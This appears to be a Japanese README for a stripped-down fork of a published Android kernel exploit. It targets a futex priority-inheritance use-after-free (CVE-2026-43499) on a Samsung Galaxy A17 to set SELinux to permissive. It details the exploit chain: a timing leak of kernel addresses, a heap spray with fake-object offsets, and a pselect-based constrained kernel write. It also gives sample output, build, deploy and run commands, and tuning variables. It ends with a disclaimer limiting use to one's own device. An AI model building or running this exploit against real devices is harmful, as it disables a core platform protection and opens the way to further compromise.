
GhostLockを単一のプリミティブに絞り込み:futex PI UAF(CVE-2026-43499)を介してGalaxy A17(BZA5)でSELinuxを無効化。root不要、credパッチ不要、rwforge不要。
GhostLock の最小限のフォークで、ただ1つのプリミティブのみを保持しています: CVE-2026-43499 (futex PI UAF) を利用して SELinux を無効化することです。
ghost-hoock は Mobile Hacking Lab による GhostLock エクスプロイトの削ぎ落とされたフォークであり、単一のプリミティブにまで縮小されています:
futex PI UAF を介した1回の制約付き書き込み ->
selinux_enforcing = 0。
root なし、cred 上書きなし、rwforge チャネルなし、UMH なし、configfs なし。脆弱なカーネル上で SELinux を permissive モードに切り替えるために必要な最小限のものだけです。
Samsung Galaxy A17 (SM-A175F, BZA5) での出力例:
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
その後:
$ getenforce
Permissive
getenforce が Permissive を返す
このエクスプロイトは CVE-2026-43499 を標的にしています — Linux カーネルの futex PI (Priority Inheritance) rt_mutex チェーンにおける use-after-free です。ghost-hoock のチェーンは4つのステップからなります:
カーネルの futex ハッシュテーブルに対するタイミングサイドチャネルです。ユーザー空間の futex の集合に対して FUTEX_WAKE_PRIVATE を連打し、rdtsc の差分を測定し、ハッシュバケットの衝突を相関させます。これにより自身の mm_struct のアドレス — 後に必要となるスプレーページのベース — を復元します。
これは KernelSnitch のテクニックであり、オリジナルのエクスプロイトからそのまま流用したものです。
大きな order-3 スラブページを確保し、PI ルートで使用される偽オブジェクトレイアウトで配置します:
3つのスレッド:
f_wait に対して FUTEX_WAIT_REQUEUE_PI に入り、f_pi_target を対象とします。f_pi_target に対して FUTEX_LOCK_PI を保持し、続いて f_pi_chain に対しても保持します。sched_setattr(tid, SCHED_BATCH, nice=19) を呼び出し続け、これが rt_mutex_setprio() をトリガーし、カーネルに偽の PI ツリーを辿らせます。メインスレッドからの4番目の呼び出し — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — が requeue を開始します。カーネル内部で、rb_erase() が偽のツリーに対して実行されます。
pselect() / select() はユーザーの fd_set をカーネルスタックにコピーし、後にそれを辿ります。カーネルが rb-tree ポインタとして扱うワードが fake_right とその親に配置されるように fd_set ビットマップを整え、結果として得られる rb_set_parent(child, parent) は次のようになります:
*(uint64_t *)target = value | color
mode = 1 (Write 1) の場合、target = selinux_enforcing かつ value = base + 0x100 であり、これは byte0 = 0, byte1 = 1 としてエンコードされます。カーネルは selinux_enforcing[0] に 0 を書き込みます — これで SELinux は permissive になります。
ret = 6 (デフォルトの ではなく) は書き込みが成功したことを確認します: consumer が 中にターゲットに到達し、早期に起床したのです。
これは mobilehackinglab/ghostlock-a17 (MIT) のフォークです。以下はアップストリームのエクスプロイトから 1:1 で流用されています:
補助コード (pr_* マクロ、SYSCHK、pin_to_core、set_limit、set_unbuffer) もオリジナルからそのまま保持されています。
オリジナルの GhostLock は A17 で完全な root を取得します: rwforge 物理 R/W チャネルをインストールし、cred / real_cred をパッチし、init creds で UMH ヘルパーを実行し、ログをキャプチャするなどです。ghost-hoock では、最初の制約付き書き込みより先のすべてが削除されています。
オリジナルの GhostLock はこのフォークよりも完全かつ強力なままです。ghost-hoock は代替品ではありません — SELinux をオフにするという1つの狭いタスクのための最小限の PoCです。
$PATH に clang と make が必要です。Termux でテスト済み。ツールチェーンがあれば adb shell 経由でも動作します。
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
出力: ./ghost-hoock (aarch64, PIE)。
Android NDK 経由 (PC 上)
make NDK=/path/to/android-ndk-r26
または手動で:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
クロスコンパイルの確認
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# シェルコンテキストから読み取り可能な場所にバイナリをコピー
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# SELinux が現在 enforcing であることを確認
getenforce
# -> Enforcing
# 実行
/data/local/tmp/ghost-hoock
# 確認
getenforce
# -> Permissive
オプション
ghost-hoock [options]
--attempts N W1 試行回数 (デフォルト: 20)
--no-drain 各 W1 試行前に slab_drain をスキップ
-h, --help ヘルプを表示
環境変数
· GHOSTLOCK_CORE — 0..N。consumer スレッドがピン留めされる CPU コア。デフォルト: 0。 · KPHYS — 0x.... カーネル物理ロードアドレス (P0_KERNEL_PHYS_LOAD と異なる場合)。 · PREPARE_SLABS — 4..64。スプレー中に準備されるスラブページ数。デフォルト: 32。 · PSELECT_SHIFT — -14..14。fd_set ワードシフト。デバッグ専用。 · FOPS_MAX_ATTEMPTS — 4..72。FOPS ペイロードの prepare_kernel_page 最大試行回数。 · RWF_DEBUG — 任意の値。ペイロード構築からのデバッグ行を出力。
6.12.23-android16-5-abA175FXXS5BZD2-4k。shell SELinux コンテキスト (u:r:shell:s0) から実行する必要があり、アプリからは実行できません。ポーティング: 他のデバイス/カーネルには独自のオフセットテーブルが必要です。そのビルド用の
vmlinux/kallsymsから抽出したシンボルオフセットを含む新しいOFFSETS_ENTRY(...)をinclude/offsets_bza5.hに追加し、再ビルドしてください。
page_base や無関係なメモリに着地する書き込みはカーネルをクラッシュさせます。このフォークはオリジナルよりも攻撃面が少ない (rwforge なし、cred パッチなし、UMH なし) ため、統計的にはより安全ですが、100% 完全ではありません。slide = 0 に依存しています。このフォークには KASLR リークはありません。KASLR が有効なカーネルにポーティングする場合は、オリジナルから slide.c を復元する必要があります。selinux_enforcing に 0 を書き込むだけです。root が必要な場合は、完全な ghostlock-a17 を使用してください。selinux_enforcing = 0) のみが保持されています。PI ルートを深く理解せずに Write 2 や rwforge パイプラインに拡張しようとしないでください。
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # 共有ヘッダ、API
│ ├── offset.h # TARGET_CONFIG_H ディスパッチャ
│ ├── offsets_bza5.h # シンボルオフセット (BZA5 のみ)
│ ├── runtime_struct_offsets.h # 動的構造体オフセット (_RSO マクロ)
│ └── target.h # BZA5 アドレス、ペイロードレイアウト
├── src/
│ ├── main.c # CLI、オフセット選択、W1 ループ
│ ├── spray.c # KernelSnitch + ヒープスプレー + ashmem
│ ├── route.c # PI ルート + pselect 制約付き書き込み
│ └── kernelsnitch/ # mm_struct リーク (アップストリームから)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — アップストリームの ghostlock-a17 と同じです。LICENSE を参照してください。
このフォークは mobilehackinglab (2026) のオリジナルの著作権表示を保持し、MIT 条項の要求に従ってフォークの作者をその上に追加しています。
このプロジェクトは自身のデバイスでのセキュリティ研究のために厳密に公開されています。所有していないデバイスに対して実行することは、ほとんどの法域で違法です。
mm_struct リークテクニック。研究用に構築。単一の実機でテスト済み。自己責任で使用してください。
| オフセット | オブジェクト | 目的 |
|---|
0x0E80 | fake_lock | 偽の rt_mutex |
0x0F80 | fake_fops | 偽の file_operations テーブル |
0x1180 | fake_w0 | ターゲットツリーとして使用される偽の rt_mutex_waiter |
0x1240 | fake_right | 偽の rb-tree 右ノード — 書き込み値はここから来る |
0x1260 | fake_left | 偽の rb-tree 左ノード |
0x1280 | fake_task | 偽の task_struct |
ページ全体は AF_UNIX ソケットを通じて SKB_SEND_SIZE = 2 * ORDER3_SIZE の sendmsg として送信され、skb データがリークしたページ上に配置されます。その後、制御された順序で解放し、ページが再利用可能な per-cpu partial slab 上に残るようにします。
9select()| コンポーネント | ファイル | 備考 |
|---|
| KernelSnitch | src/kernelsnitch/* | futex ハッシュタイミングによる mm_struct リーク |
| ヒープスプレー | src/spray.c | 偽オブジェクトレイアウト、prepare_skb_payload、prepare_kernel_page |
| PI ルート + pselect | src/route.c | prepare_pselect_fdsets、do_pselect_fake_lock_route、consumer_thread、waiter_thread、owner_thread |
| BZA5 オフセット | include/offsets_bza5.h | 6.12.23-android16-5-abA175FXXS5BZD2-4k から抽出されたシンボルテーブル |
| BZA5 ターゲットヘッダ | include/target.h | アドレスレイアウト、ペイロードオフセット (W1 サブセットのみ) |
| ランタイム構造体オフセット | include/runtime_struct_offsets.h | task_struct フィールド用の _RSO() マクロ |
| 削除されたファイル | オリジナルで存在していた理由 |
|---|
rwforge_a17.c | pipe_buffers を介した Marching-forger 物理 R/W チャネル |
pipe_physrw.c、pipe_reclaim.c | パイプバッファ再利用 -> 任意のカーネル読み書き |
root.c | cred / real_cred 上書き、su インストール、SELinux SID パッチ |
umh_root.c、wq_umh_root() (main.c 内) | 偽造されたカーネル workqueue アイテムから init-creds ヘルパーを実行 |
slide.c | boot_id オラクルによる KASLR リーク — BZA5 では不要、KASLR はオフ |
miniadb.c | ADB TCP 経由のブートストラップ |
try_cfi_stage() (fops.c 内) | root パスをブートストラップするために使用される CFI 対応 configfs ステージ |
run_rwforge()、run_bootid_oracle()、rwforge_root_and_capture() | root パイプライン全体 |
install_embedded_su()、install_embedded_wallpaper() | root インストールヘルパー |
Write 2 (cred)、patch_cred_*、patch_task_seccomp | W1 後の資格情報奪取 |